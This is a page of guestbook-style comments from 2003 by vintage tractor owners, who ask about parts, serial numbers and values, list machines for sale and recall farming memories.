Jos Ignacio ALBUJA wrote on Tuesday, October 21, 2003 (PDT):I have my completely original OLIVER SUPER 55 bought by my grandfather in 1.957. I just used it during weekends only for driving. Unfortunately the injection pump head ( part # HD3663AR, American Bosch) ( in spanish = cabezal ) became brocked. If somebody can advise me how to buy a nerw part, my tractor will work again, and I can invite you to my home in Ecuador. I am a lawyer fut partime farmer. Please help me.
Sally wrote on Tuesday, October 21, 2003 (PDT):Have a Massey Harris 81 and would like to sell it. The front wheel base is very wide in contrast to the one pictured here. It was originally red. Hasn't run in at least 15 yrs and has been sitting out in the weather (Calif weather) We are looking for the value. Seems to me that what it needs is a new engine.
Harv Wewel wrote on Monday, October 20, 2003 (PDT):I own a Farmall MD, not sure of the age but it has been in my family as far back as I can recall. It has not been used for several years but worked just fine until it was put in the shed. Can anyone tell me a ballpark figure on how much this tractor is worth?
Deltafish wrote on Monday, October 20, 2003 (PDT):Just bought a 1947 ford 8n. Sweet tractor in great shape. It has a front loader, and rear box scraper, both stock. Everything functions and the tractor starts on one one click. Love this little monster. It does need a new gas tank any suggestions?
Les wrote on Sunday, October 19, 2003 (PDT):How does a VAH differ from a VAC and a VAO.
Dustin wrote on Saturday, October 18, 2003 (PDT): I think it is nice.It would make a good all around tractor from farming to cutting grass.A Masey Ferguson is a good and strong tractor.Do you have a Massey Ferguson? I don't.
Dustin wrote on Saturday, October 18, 2003 (PDT): I think it is nice.It would make a good all around tractor from farming to cutting grass.A Masey Ferguson is a good and strong tractor.Do you have a Massey Ferguson? I don't.
Ronald Legault wrote on Friday, October 17, 2003 (PDT):hi i still have my massey-harris 81 it,s all restored and in perfect shape four new tires and a new engine (rings)i alsohave a massey-harris 44 with a massey-harris model10 loader one mssey-harris number1special baler all restored i need agas motor to put on the baler right now she has a pto shaft i live in St.Eugene ontario canada a small town near montreal everyone is welcome to come and see my equipment and send me information where i can find more massey-harris equipment thanks to all massey fans
Reggie Rackliff wrote on Friday, October 17, 2003 (PDT): Bought a 420C fourteen years ago for $2000. and have put at least that mucch more into it. Well worth it. Good power toweight ratio. Retired to plow snowbanks back and pull out a little firewood. It has a no. 62 blade and Braden pto winch that works real nice. Keep Crawlin'...
Kent Dacke wrote on Friday, October 17, 2003 (PDT):I was looking for a tractor with a loader when I found (stumbled) onto my Super 55. It was a late 1958. It came with optional power steering, front and rear hydrolics with fluid control and of course an Oliver loader. I improved the iginition system by replacing the coil, points and condensor by installing electronic igintion from Genessee Products for less than $100.00. I highly recommend doing this to any point operated machine. It now saves the starter motor and a few choice words. I now only have to touch the iginition switch to fire up the engine... without using the choke! The kit comes complete with easy to follow instructions and high output coil that looks stock and mounts where the original mounted. The module and magnetic pick up are concelled in the distributor. It took less than thirty minuets to install. No one would ever know until they saw the extra wire... and then probably would never make the connection that it was converted. Yes, I love my 55. Ford 8 and 9N owners come over to drool. But there is no compairson between the two. I do need a replacement dampner for the "Easy Ride" seat if anyone can help. Please contact me at kdacke at hotmail.com.
JERRY PICKERT wrote on Thursday, October 16, 2003 (PDT):A FREIND OF MINE LOOKING TO SELL 1927 FARMALL REG. WHAT IS THE GOING PRICE FOR ONE THAT IS IN GOOD CONDITION?
cody gibbs wrote on Wednesday, October 15, 2003 (PDT):i have a old pennslyvania panzer and i was wondering if u would know how much it would be worth if it was restored or if it was worth restoring it. im guessing it is around a 40-50 model. i would sure appriciate it if u could find that out for me. thanks cody.
Lewis wrote on Wednesday, October 15, 2003 (PDT):I need a G with a cultivator and sickle mower.
Rob wrote on Tuesday, October 14, 2003 (PDT):I have owned 2 M's-1 B-2 H'S,340,560,AND A 1066 AND LOVED THEM ALL.I want to find a 400 gas with fast hitch for my Dad,but I need to sell or trade my M before I do this,but my Dad grew up on a400 and it is important to me to get one for him
Ron Freeman wrote on Tuesday, October 14, 2003 (PDT):I have a 1948 Oliver Cletrac HG 60". It is 99% restored. It has bin converted from mag to coil. The only new parts were u-joints, gas cap & radiator cap. I bought the tractor for $50.00. The only motor work required was a valve job.
Scott wrote on Monday, October 13, 2003 (PDT):I just bought my 1st tractor, it's a 1949 8n. I & my wife own a horse& goat farm in Pilot Mountain, NC. I will be using the tractor for scraping, bushoging that type of stuff. Can anyone give me advice on what sixe equipment to buy? The tractor uas restored in 2001, rebuilt engine, trans,brake, sterring,converted to 12 volt. Pretty much all new. I thinking we will have a ball with it. Thanks for the sight.
Scott wrote on Monday, October 13, 2003 (PDT):I just bought my 1st tractor, it's a 1949 8n. I & my wife own a horse& goat farm in Pilot Mountain, NC. I will be using the tractor for scraping, bushoging that type of stuff. Can anyone give me advice on what sixe equipment to buy? The tractor uas restored in 2001, rebuilt engine, trans,brake, sterring,converted to 12 volt. Pretty much all new. I thinking we will have a ball with it. Thanks for the sight.
bill wrote on Sunday, October 12, 2003 (PDT):hi i have a inter aw7 and am chasing a crankshaft can anyone tell me if it is called by another name thank you bill
Bud Risner wrote on Friday, October 10, 2003 (PDT):We Have A D-15 Gas Tractor.We just re-built the engine and need a diegram or book that shows the govner linkage.The machine shop re-moved this assembly befor we looked at it.We would appreciate any help we can get. Thanks AC Collecters.
Chris wrote on Friday, October 10, 2003 (PDT):I have a 1950 ZAU and I LOVE that tractor. Looks good all painted up too. The tractor in the picture is a ZBU. You can tell by the steering column and how it sticks up out of the dash. The ZA's had the steering shaft run down along side of the tractor.
Jeff wrote on Friday, October 10, 2003 (PDT):I am very interested in buying a M for my own personal use; This tractor really catches my eye for some reason; Can anyone tell me the horsepower of these units. Did power steering come with it or are they after market I've been seeing on the net; Did they come with live hdy and pto;
Ray Baker wrote on Thursday, October 09, 2003 (PDT):'Have a totally restored ID6 in the family!!! I spent many hrs. in the saddle in the 50s & 60s. It is 1944 model, industrial in orgin, adapted for farm use. It looks 7 acts laike a new machine!!!
Bruce Dru mmond wrote on Thursday, October 09, 2003 (PDT):I have a VAO-15 serial number 6011976 for sale ( have digital pictures ) It looks more like a VAC and has the muffler below the floor board, also comes with a two furrow CASE plow with it.
Bruce Dru mmond wrote on Thursday, October 09, 2003 (PDT):I have a VAO-15 serial number 6011976 for sale ( have digital pictures ) It looks more like a VAC and has the muffler below the floor board, also comes with a two furrow CASE plow with it.
Bruce Dru mmond wrote on Thursday, October 09, 2003 (PDT):I have a VAO-15 serial number 6011976 for sale ( have digital pictures ) It looks more like a VAC and has the muffler below the floor board, also comes with a two furrow CASE plow with it.
ckwagoner wrote on Tuesday, October 07, 2003 (PDT):im looking for any information on a 1947 or a 1948 farmall international h series tractor , if anyone has any pictures or information please email me, thanks
JOE wrote on Monday, October 06, 2003 (PDT):My Dad bought two model R one in the spring of 1970 the other a year later.They replaced a model G and A. The power they had was ubelivable compared to the old G and A. We also had two 70 that were newer but could not touch the R for power. They are 1949 and 1951 model. We used them for many years until we bought a 4020 and later a 4440. We still have one of the R and despite the power and comfort of the 4440, there will never be a tractor like the R. Joe
Larry Hill wrote on Monday, October 06, 2003 (PDT):My Father and Uncle purchased a 1941 OLIVER 60 with wide front new to custom harvest during the War. They farmed in Clark County, Washington. A few years ago my cousin sold the tractor for $50.00 and did not notify me. I called the person that bought it and he stated he got it running and sold it to another person that he thought was moving to Yakima, WA. I would love to have the tractor back and know I will probably have to pay more. It had a six cylinder motor, wide fenders, six forward speeds, and wide front.
Mike Lewis wrote on Monday, October 06, 2003 (PDT):My D17 has a 12 volt system and the wiring fried from the generator to the amp gauge and from the starter solenoid to the amp guage. The battery was hooked up with a negitive ground. Is this the correct hook up Negitive ground or is it a positive ground. Thanks for any help!
james wrote on Sunday, October 05, 2003 (PDT):l have a Massey Harris 20 year 1947 l am having a problems with it the points are not making a big enought spark to start it but the batteries are brand now what is the problem with it
snake wrote on Friday, October 03, 2003 (PDT):I bought a 97MASSEY FERGUSON from an old boy in Dumont Ia. back in April of 2003.I went to the sale for this tractor.It cost 1800.00 bucks.The tractor was made by the Minneapolis Moline company,and has a 504 ci.diesel engine made by M.M..It is a 1963 model and does not have the optional front wheel assist . I wanted the tractor for pulling. It weights 8250 stripped down and has 100 hp. If you get the weight on the tractor right the tractor will take care of its self! I have 4 2nd place trophys and 9 1st place trophys. Would of mayby had more but i put the weight in the wrong place . Amagin that. I love this tractor and have had the heavy looking frontend 2 to 3 foot off of the ground. What a rush! They pull good and have an honest 100hp. The only thing i would not recommend with this tractor is backing a wagon up over about 10 ft,you cant get ahead of the wagon.this winter i am going to have the tractor painted and will put the pics. in this column when i am done.
Butch Hull wrote on Wednesday, October 01, 2003 (PDT):I have a 1935 F-30 It's color is suppose to be a gray on the body and a red on the wheels can any one get me the right name of these colors and the paint codes ? thank you ! I also have a tractor pull Intr. combine with a 10 foot header and a hercules engine . Can any one tell me where I might find the year of it . I think it is in the 30's ?
HARRY WEBSTER wrote on Monday, September 29, 2003 (PDT):I HAVE A 1947 CASE SC. FOUND THE YEAR BY SERIAL NUMBER. IT WAS GIVEN TO ME BY A RANCHER WHO PURCHASED A BARN FOR THE WOOD. INSIDE WAS THIS TRACTOR. HE WAS GOING TO HAUL IT OFF FOR METAL SALVAGE. TOLD HIM I WOULD HAUL IT OFF AND GAVE IT TO ME. BEING IN A BARN IT WAS JUST DIRTY. PULLED IT OUT IN THE SUN. WORKED ON IT FOR FOUR HOURS AND IT STARTED. MAN TOLD ME IT HADN'T BE RUNNING FOR OVER TWENTY YEARS. I DROVE IT OFF THE PROPERTY AND RESTORED IT. LUCKY FOR ME. IT STILL GETS USED PULLING A HAY TRAILER AND DIRT DRAG. WOULD LIKE TO COLLECT OTHER CASE TRACTORS.
Fred Shunk wrote on Monday, September 29, 2003 (PDT):If anyone is interested in obtaining a 1941 Farmall A high crop (I thought it was Row Crop)to restore contact me. This tractor is part of the Estate of Mary E. Osborm that is in probate now in Alpena County. Attorney for the estate is David P. Werth, 989-354-4104, 313 N. 2nd Ave, Alpena, 49707 Estate administrator is John Osborn, (517) 467-4919 938 Meadow Lane South, Brooklyn, MI 49230 I started driving this tractor in my grandfathers hay fields when I was nine years old. I'm now living in Las Vegas. I'd hate for this old tractor to simply set in a field and rust away but I'm not in a position to do anything about it right now. I know it needs a fan mount bracket and a radiater, and it needs a generator. It should also have a valve job.
Jonathan Kamau wrote on Monday, September 29, 2003 (PDT):Somebody please tell me where to get an IMT 558 tractor service manual.
Steve wrote on Sunday, September 28, 2003 (PDT):Sherry, the 140 was built up to 1975 since you have the sn you should have no problem finding the year as for parts yea i an help check this link out www.ytmag.com
Mel wrote on Sunday, September 28, 2003 (PDT):Looking for info, parts (engine block) availability for a model X rumeley, any help appreciated. Mel
joshua kuhl wrote on Saturday, September 27, 2003 (PDT):i have an oliver 60 that is fully finished. the one piece that is missing is the small side shield in the right hand side that covers up the battery. if anyone has one I would be happy to take it off of their hands.
Stuart Kafka wrote on Friday, September 26, 2003 (PDT):i have one more ?. i have read most of this page and alot more like it. i just don't see that much about a 1945 H farmall. why is that, is it a rare tractor or what? i do see alot about the H's but not from 1945!
Rebecca Gottberg wrote on Friday, September 26, 2003 (PDT):I contacted Henry Hahn (see above message) and he sent me a list of people with Leader Tractors who are members of the Leader Tractor club. They were from all over the U.S. and Canada. Thanks so much!! In fact, I think they just had a national gathering in Ohio this summer.
Brenda wrote on Friday, September 26, 2003 (PDT):My husband bought his first tractor, think it is a MH 44 Row Cropper. It has a a 4-cyl. gas engine but the model/serial number is 44DR 5095. The engine has H260E606; I'm pretty sure that the H260 indicates a gas engine but the letter code in the model/serial number suggest that it is a diesel. I'm confused. Help.
K. T. Novak wrote on Friday, September 26, 2003 (PDT):The allis 20-35 is truely a magnificent machine. It is by far my favorite model ot the Allis-Chalmers Line. Hopefully one day i will be lucky enough to add one to my collection. Due to the fact that i am younger and some models are costly i think i'm going to have to stick to my B, WC and CA
Scrany wrote on Thursday, September 25, 2003 (PDT):Does any one know of a way to trace your (B) tractors origination etc. through serial #s etc. I'd be interested to know the history of my tractor.
Kenneth Green wrote on Thursday, September 25, 2003 (PDT): I need to know the correct setting for the points and valves for farmall a. thank you for any help
Eric Ebling wrote on Monday, September 22, 2003 (PDT):My friend is looking for the head gascut for a case modle 10\18 crossmotor if you have one ore know somebudy that does call him at (717)933.5398
Bob wrote on Monday, September 22, 2003 (PDT):I am in need of rebuilding our Gs engine purchaced in 1954? Plugs getting fowled by oil being burned. Have also rod knock. Where to start for engine parts that will be needed. We have the plow, cultivators, and sickle bar so this unit was still being used and now being missed.
Kevin Wiese in CT wrote on Monday, September 22, 2003 (PDT):hello leader fans!! i have aleader 48D. i have been toying with the idea of restoring it, but untill now i was at a stand still in searching for info. this forum seems like a great place to get some. out here on the east coast no one has even heard of a leader tractor. mine runs great except for a rusted out manifold, which can be bought new still. it is all rusty and over the years it has had some quick "farm fixes." i would love3 to see somr pics of restored leaders as a reference, as well as magazine articles, web site info as well as club info. any and all info would be great Thanks for all of your time
a stewart wrote on Sunday, September 21, 2003 (PDT):i am interested in any info. on building the adapter plate for 8n to flathead v8. thanks
ziggy grzybowski wrote on Sunday, September 21, 2003 (PDT):hello I need A couple headgaskets for A oliver OC46 3cyl.gas crawler about A 1960 or 62
doug bockey wrote on Sunday, September 21, 2003 (PDT):nice massy i have a 101 super senior.and i need parts for it can anyone can help me
J Shirey wrote on Saturday, September 20, 2003 (PDT):Have a 1949 F-cub. Have had it for a dozen years or so. Absolutely love it. My father and I rebuilt it in 1996 I believe. Unfortunately I will be moving soon and she can't come with me...gonna put her up for sale after the house sells. If interested contact me thru e-mail. Columbia City,IN
Al Smith wrote on Friday, September 19, 2003 (PDT): Yesterday, 18 September, 2003, I purchased a Case Tractor, which has a serial # VAI6014155 It has a sickle bar, hydraulic system. Can anyone tell me the year, or anything else about this tractor ? I can send photos, if needed.
"Farmall Boy" as seen on pulling board... wrote on Friday, September 19, 2003 (PDT):Hey yall...i would just like to extend my hand to help....I oull a few M's and if anybody is wonder about any ideas i have messenger and e-mail....feel free to send me anytime about any ?'s......Farmall Boy discoman16 at hotmail.com
Eric Ebling wrote on Friday, September 19, 2003 (PDT):Is it true that the MM Z goes 50 mph
Eric Ebling wrote on Friday, September 19, 2003 (PDT):I recentley restored my first tractor an AO my friend got me started and if i rever win a 1,000,000 ill give you a call.(that is a very nice tractor you did a good job restoring the GPO crawler)
Mary A. Hageman wrote on Friday, September 19, 2003 (PDT):I'm looking for some history on a John Deere MC tractor, could someome please find me some information about this tractor ASAP. Thank you so much!!
James R. Lentz wrote on Friday, September 19, 2003 (PDT):I have a 46 MD I think. It was given to me and I am going to be putting it on the internet to sell. The men using it on this ostrich farm did not know how to shut it down properly and always had a hard time staeting it. They didn't know that they must be shut down on gas to burn out the deisel resadue. The last time it was shut down was two years ago and of course the old diesel fuel jelled and has stuck the engine. Some hard work will fix it. I am 70 years old and just do not feel up to it. Do you have a suggestion where or what link I can advertise on. Thanks Jim Lentz jimmythecinch1 at ev1.net
Dave Rodberg wrote on Wednesday, September 17, 2003 (PDT):I have a W12 and am looking for a radiator base and brake covers. I recently dug this tractor out of a friend's backyard. I'm hoping to get it running again but am having a very hard time finding out anything on this model. Thanks, Dave
Lyle wrote on Tuesday, September 16, 2003 (PDT):When I was farming in the late 50's I had a super 77 oliver and then I bought a MM Z for light work. When I was in high school I bought a MM J Wiith a loader on it for $100.00 and dad and I used it for about 3 years. They were both great tractors.
dave wrote on Tuesday, September 16, 2003 (PDT):My dad and have an 53? sc where looking to restore. i need liners and pistons as a start. he had them knurled years ago put there so wore out now they kinda wobble aroung in the bore. so if you have a line on these parts along with any other engine parts like bearing and such drop me a line. thanks
Tom Dickerson wrote on Tuesday, September 16, 2003 (PDT):I'm about to get a real good deal? On a B model CULTI-VISION. It does howver have a cracked block. Is that a normal malady for this tractor? Are the blocks hard to find and expensive? The S/N is F.A.B. 182141, from what I have been to find out that means it was manufactured in 1947
Tom Dickerson wrote on Tuesday, September 16, 2003 (PDT):I'm about to get a real good deal? On a B model CULTI-VISION. It does howver have a cracked block. Is that a normal malady for this tractor? Are the blocks hard to find and expensive? The S/N is F.A.B. 182141, from what I have been to find out that means it was manufactured in 1947
Jack Peterson wrote on Tuesday, September 16, 2003 (PDT):I inherited a 70 RC SN 216635. I understand it is a 1937 model. It has been inside a Morton Barn for years. I remember plowing with it many years ago. It has all the panels with green yellow and red paint yet. It is on rubber but has lug wheels with it and also a cultivator. I can't get any spark and am about to replace the points and a carb kit. Does anyone have an idea of the value of it? Thanks.
chris wrote on Sunday, September 14, 2003 (PDT):My father in law is changing his massey 44 from a row crop to a wide front.We are looking for a steering box for the wide front (saginaw manufacture)can anyone help? email me Thanks chris
RJ wrote on Sunday, September 14, 2003 (PDT):any JD LA tractor to restore
Richard wrote on Saturday, September 13, 2003 (PDT): I am looking for info on the shaft seals for the belt PTO on RHS of my Power Major. The tractor has a Browning type belt wheel . The replacement seal I purchased (same part # as old leaking one) will press in but is to big to seal against the shaft (which is splined anyway). I figure I'm missing a part. Anyone know of a good schematic of this area or have a similar experience with the seal problem.
dave guest wrote on Friday, September 12, 2003 (PDT):love them red cubs have had one for 20 years and 6 million gray hairs cut 4 acres never rebuilt have igniton problem now will never buy japanese or chinese tractor no personality pulled out 4x4 trucks rockwood michigan
Ron wrote on Friday, September 12, 2003 (PDT):I recently adopted two 420's an industrial and an agricultural,woth fixin?
J R SHARPE wrote on Friday, September 12, 2003 (PDT):I would very much to purchase a 1949 or 1950 Farmall Cub that is in restoreable condition. I live in East Tenn. would be willing to travel radius of couple hundred miles one is available. Please let me know by email address.
Dave Olsen wrote on Friday, September 12, 2003 (PDT):My father has a Hart Parr 18-30. The tractor is complete except for the manifold and carb. Do anyone know where to find one? He might just sell the tractor if he can't.
Scott wrote on Friday, September 12, 2003 (PDT):1947 Case VAO w/ trailer , Runs perfect, looks great, ready to work. $750.00 So. Calif
Felix Knight-Webb wrote on Wednesday, September 10, 2003 (PDT):I own a very nice 1964 grey wing (and grey wheels) Super Major which I am restoring at the moment. I agree with comments that most of the Majors destined for the European, African and Aussie markets had orange wheels of which the front were cast. The American market had pressed steel rims I assume due to the weight of shipping and difficulties with replacement. I am looking for a pre-force 5000 to add to my collection. I am also looking for a Ford Thames Trader 75 flat bed lorry to haul them to shows.
William Blakely wrote on Wednesday, September 10, 2003 (PDT):My dad owns a Farmall Regular that belonged to my granddad. They used it to for row crops and to run a sawmill in the 50's. Someone stole the magneta and it hasn't run since. It hadn't run since the 50's but it would still turn over in the early 80's. It has since stuck. It would be good to at least get it running, which I think could be done without too much trouble. I live in upstate SC.
Ken Guthrie wrote on Tuesday, September 09, 2003 (PDT):Can anyone tell me what a 1952 Farmall M is worth? Has been restored and in very good condition. Would appreciate some help. Thanks Ken
Tom Bortz wrote on Monday, September 08, 2003 (PDT):I restored a 81 and painted the moter black. Also I have a massy harris bailer with a 4cyl wisconson engine works well dos anyone know its worth or who needs it worse than me? Amish?
Ken Tabor wrote on Monday, September 08, 2003 (PDT):Can anyone tell me what a Farmall M weighs?
Randall Westfall wrote on Sunday, September 07, 2003 (PDT):I have a 1952 Cub with the original belly mower. I want to buy some implements to plow, disc, and maintain a fair garden next spring. I live in southern Louisiana. If anyone has a good source please contact me at rand101 at bellsouth.net
Fred Miller wrote on Saturday, September 06, 2003 (PDT):I have a Ford 8N, S/N128662. Can anyone tell me if there is an electronic ignition kit available? If so, where? I have already converted it to a 12V, neg. ground system. Any help would be welcome.
Rick Smith wrote on Thursday, September 04, 2003 (PDT):I have a Ford 8N that I just purchased. I found a serial # on the left side of the motor and was wondering if anyone knew what year model it is. The serial # is 8N439862. I would appreciate any feedback..
Will Thompson wrote on Thursday, September 04, 2003 (PDT):Looking for a complete hood in good condition for a Ferguson TO-30.
phil and melanie lanzarotta wrote on Wednesday, September 03, 2003 (PDT):We are the 4th owners of this great engine her name is 'Ole Puff'. She was made in 1928 by Geiser Manufacturing sn# 18298 she is the last to come off the assembldy line and not assembled until 1939 for an Amish gentelman by the name of Samual Stoltzfus. the Grubb family were the 2nd owners in 1972 , 3rd owners were the Dotys1987. we got her from them in 1998. she has been at the Rough and tumble show, Mt. Plesant show, Williams Grove show, and now at the Great Oregon Steam-Up. she has been featured in the Iron Man Albume multipule times and will again in the Nov-Dec. issue. If any one knows of a Stoltzfus family member please let them know I would like to get in contact. I have written documentation on this engine from all owners except the Stoltzfus's. if I have miss dated miss quoted or forgot anyone please e mail us at philranch at aol.com (please put steam or ole puff in the tital area)
Nathan Shenk wrote on Wednesday, September 03, 2003 (PDT):I am looking for a massey harris 44 diesel special
Fred Michels wrote on Wednesday, September 03, 2003 (PDT):We have a Rumly six 6 cylinder and need parts> a timeing chain or gear, magnito and other. Please contact me or betythompson at midrivers.com Thanks Betty Thompson
DAN GOODERL wrote on Wednesday, September 03, 2003 (PDT):MY UNCLE HAS A 1949 MODEL 42 3 WHEEL SILVER KING. HE IS LOOKING A MANUAL AND WHERE TO GET A GASKET KIT. IT HAS A CONTINENTAL ENGINE.
Darrin Louden wrote on Monday, September 01, 2003 (PDT):My Uncle bought an E-3 several years ago,he had been looking for one for a long time.When I told him about the tractor I had found he kept saying I had come across a Cockshutt.He was wrong it was a CO-OP.
James Smith wrote on Monday, September 01, 2003 (PDT):I rode many a day with my Dad on the Farmall B in the Rio Grand Valley of Texas. I now have two tractors I am trying to use on my farm. I need the following help. Binder Books suggested I ask You for help. I have a B Farmall cultivator that I can not figure out how it mounts from the back. Another piece of equipment for the B Farmall is a PLANTER I need information on how to Mount and operate. Any help you can give me would be greatly appreciated. Thanks Jim Pictures would help.
john mccaskey in pennsylvania wrote on Sunday, August 31, 2003 (PDT):hi! just purchaced a 1948 cub for $1600 my first tractor bigger than a lawn mower,and i love it...in two days of owmership i have found it to be great for pulling logs through the woods behind my house..a real work horse..
Clarence Moss wrote on Sunday, August 31, 2003 (PDT):The F-20 brings back many memories for me as when i was 13 yrs. old my Dad had one that i rode many miles Cultivating Corn, Plowing,Mowing,Discing, and pulling an old Horse Drawn Manure Spreader with, i rode this Old F-20 till i was 18 yrs. old and Graduated from High School in the Ozarks of Missouri. Shortly after that i joined the U.S.A.F. and spent 4yrs. in many spots of america but never returned to farming again but now i am 69 yrs. old and have many fond memories of the day's i spent on that F-20 over those years and i must say that will always be in my memories and when ever i see one i have to stop and look it over and remember those Good Old Day's as it was a great Tractor and still had to crank it to start it as it wasn't converted over to 12 volt system with starter. I am retired now and if i lived in the country i would own one. Thanks for having a web site like this.
Ken Crisman wrote on Saturday, August 30, 2003 (PDT):I'm looking for any & all help with a 1952 8n tractor with the Funk coversion 6cyl OHV Ford Industrial engine . I'm missing a few engine parts , but need pics of this setup so I can see what all is missing . Info on locating the pancake style air cleaner & venting tubes . Also gasket spacers between carb & manifold . I'm sure there's other parts I'll need , hopefully pics will help me if you got any . Also leads as to available parts .Can anyone assist me ? Thanks .
Jack Wykle wrote on Saturday, August 30, 2003 (PDT):I have a Farmall super MD. Would love to hear from anyone who knows where I can get parts to restore it.
reilly wrote on Saturday, August 30, 2003 (PDT):Sir,Madam , Over the past 20 years I purchased several 8hp flail mowers from the Mott Corporation at 500 Shawmut Ave La Grange Illinois, thay are excellent. I have since found out they sold out to the Alamo Group Corporation of Texas who have now discontinued making them. I would sincerely appreciate and even give a finders fee reward for you or your staff to locate on or two of them, and take them to the nearest freight fowarder. The way I see it the Mott corporation in La grange must of manufactured thousands of them, every resident in Shawmutt should have one in each garage.... Sincerely Craig Reilly P.S I see your company sell the blades chain, links , cotter keys etc, but no case or main shaft I really would appreciate you location one of these new or used. I'm in Guam and really need this type of mower. I would gladly purchase all the parts from you and even build build my own.
Dustin wrote on Friday, August 29, 2003 (PDT):I need a three point hitch for my massey harris 44 standard if anyone has one theyll sell let me know thanks
Dustin Haberl wrote on Friday, August 29, 2003 (PDT):I need a three point hitch for my massey harris 44 standard if anyone has one theyll sell let me know thanks
Sonny wrote on Thursday, August 28, 2003 (PDT):Would anyone know if a Massey Harris 44 motor fit into a Massey Harris 30 with no problems. This is a 4 cylinder gas motor. Thanks for all responds.
Les Hunter Jr wrote on Thursday, August 28, 2003 (PDT):I bought a farmall Cub with the serial number of 251341R7L.Can anyone tell me what year it was made? I know it is after 1959.This number came off the block behide the carb.
Don In North Carolina wrote on Thursday, August 28, 2003 (PDT):Anyone know a good source for Farmall Cub tires? I'm looking for 9.5 X 24 for the rear. Thanks in advance for your help!!!!
William Dawe wrote on Monday, August 25, 2003 (PDT):We owned an Oliver 70 Row-Crop in the late 40's to 1966 when we sold the dairy cows. It was used at fist only for tillage and planting as horses did the haying. It went to the Virginia farm and the last I saw it was running the blower to fill silo.
Robert Collins wrote on Monday, August 25, 2003 (PDT):I recently purchased a MF 95 diesel w/cab. 95 was the Canadian #, 97 is the US #. These are MM-705 underneath a Massey hood. The #98 was produced earlier and was an Oliver 990 (GM diesel) underneath.
Ross Cargill wrote on Monday, August 25, 2003 (PDT):I have a Fordson 3 cyl diesel which I bought in 1999. Am using on my Pistachio plantation in Western Australia. How do I identify which model it is - suspect it is fifties vintage
Dave Sandin wrote on Wednesday, August 20, 2003 (PDT):I have a G 707 lp that is in poor condition is it of any value.
paddy gladden wrote on Wednesday, August 20, 2003 (PDT):I have two M.H. ,one a #44 and i beleive is a 20 or a 30. My question is the braking system on the 20 or 30, how do I adjust them? There is no linkage to tighten up the two brake pedals as there is on the #44. Do I have to get at a band that may have an adjustment or what? Please help.
ZIKULA MUHAMMED wrote on Wednesday, August 20, 2003 (PDT):SEND ME PRICE LIST CIF MOMBASA PORT BUT ALL PRICES I WANT IN US DOLLARS. BEST REGARDS TMK TRACTORS
ZIKULA MUHAMMED wrote on Wednesday, August 20, 2003 (PDT):We want 3 units of your tractors. Send me the price list CIF mombasa port in kenya. Quote all prices in us dollars. Thanks for your co-operation. MANAGER FOR TMK TRACTORS.
mark wrote on Wednesday, August 20, 2003 (PDT):my father and i had one and the reason we sold it was because it rolled down a hill and almost flipedit
Dan Ward wrote on Monday, August 18, 2003 (PDT):I have a 1949 Farmall M. It has a M&W clutch where the torque amplifier would be. The clutch has a pipe coming up out of it that moves forward and backward. The clutch is missing an external cover and it does not work. What is it supposed to do?
Gary Houston wrote on Sunday, July 20, 2003 (PDT):I have a Fcub--serial number 63326, where can I obtain shop mannual and parts for this machine. Thanks Gary Houston
Mark Hardy wrote on Friday, July 18, 2003 (PDT): I traded a 1963 chevy truck body with no motor for a 420 the tag is gone,could someone tell me how would i go about finding what year and model 420 i have. Thanks
Harvey Phillips wrote on Thursday, July 17, 2003 (PDT):I need to know what color M 602 tractor that I am restoring. Would you kindly email me pictures of M 602. I would greatly appreciate it. Thanks Harvey Phillips
Frederick Crump wrote on Thursday, July 17, 2003 (PDT):Looking for AC-G to be used for parts to keep my two going in the ARK LA TEX area.Phone 318-624-0349
vaughn wells wrote on Wednesday, July 16, 2003 (PDT):my clutch won't realese. There is oil in the case. The modle is 5307101 D. Can anyone tell me about it. Also the year.
Bill wrote on Wednesday, July 16, 2003 (PDT):Farmall A or B has 25 horsepower
Real Seguin wrote on Wednesday, July 16, 2003 (PDT):We have a M-H 81 1941 since over 50 years in the family. First it's was my grand-father and now my father and in the future my tractor what a beautiful tractor. We are Ste-Marthe Qc Canada near Montreal. By the the way it's still work very well.........
Chris wrote on Tuesday, July 15, 2003 (PDT):Was there ever a front end loader made for the "R" model
Ron Kennedy wrote on Monday, July 14, 2003 (PDT):Hi I have an F CUB with serial number 7615. I would love to totally restore it, but know nothing about it. Can you please supply me with the year model, availabity of owners manual, somewhere to obtain parts and technical know-how so that it will go quicker for me? I thank you so very much in advance for the info!!! An email would be excellent!! Thanks again!!! Ron Kennedy
SK Tractor For Sale wrote on Monday, July 14, 2003 (PDT):Silver King Tractor For Sale. Real basket case. tractor hasn't ran since late 70's, water got into exhaust, froze motor, dad took motor off, thought it would be a good project, hasn't touched it since. tractor is in pieces, some inside some out, has a front blade/plow with frame and duell rear wheels, had side PTO wheel, From looking at pictures on the web, it has the smooth rear fenders of a R38 but kinda looks like a 42, its a wide front end, has got headlights like yellow one in of the photos on silverkingtractors.com , seat and steering wheel are rusted off, this thing is just growing roots at dad's hunting cabin in Western New York. Most likely, looking for someone to take complete/total tractor. i don't really want to get into parting it out. E-mail if interested, ronp at broadviewnet.net
Carrie V wrote on Monday, July 14, 2003 (PDT):I am restoring a 1939 Farmall A that my father had bought for $850.00 in Kentucky. I am working on it for a 4-H project.
Dan Wagner wrote on Sunday, July 13, 2003 (PDT):i have found prarie gold paint at farm and fleet stores here in Wis. and also from Valu-bilt catalog thir number is 1-888-828-3276 for a catalog hope this helps
TJ Palmer wrote on Sunday, July 13, 2003 (PDT):My dad and I are restoring my Papaws D12 Allis Chalmer tractor and we are coming along with it pretty good having some trouble finding some parts for it so if anyone out there has any parts for sale give us a call at 606 845-0022 or no answer leave a message and i will get back with u.
TJ Palmer wrote on Sunday, July 13, 2003 (PDT):My dad and I are restoring my Papaws D12 Allis Chalmer tractor and we are coming along with it pretty good having some trouble finding some parts for it so if anyone out there have any parts for one that u want to see gives us a call at 606 845-0022 or no answer leave a message and i will get back with u or any other Allis Chalmber tractors for sale call to.
Lily A Kempton wrote on Wednesday, July 09, 2003 (PDT):Hi I have a model t tractor my father built many years ago that would srill run with a little work. It was the first thing I ever drove. It also has an extra transmission on it so it has 6 speeds forward and 2 in reverse. I won't part with it for any thing. Lily Kempton
Carl Jones wrote on Monday, July 07, 2003 (PDT):Hi, you have a great site. I have a cub, model number F-CUB, Ser # 11211, International Harvester. Can you tell me the year it was made and anything else about it? Are owners manuals available or did they even have them then? Thanks Carl
Reed Gardner wrote on Sunday, July 06, 2003 (PDT):Wanted - Oliver 70 RowCrop or Oliver 80. I am looking for an oliver in the Eastern Iowa area. Prefer one that has been restored or in great condition. As a boy we had several on the farm and now I would like to replace. Thanks
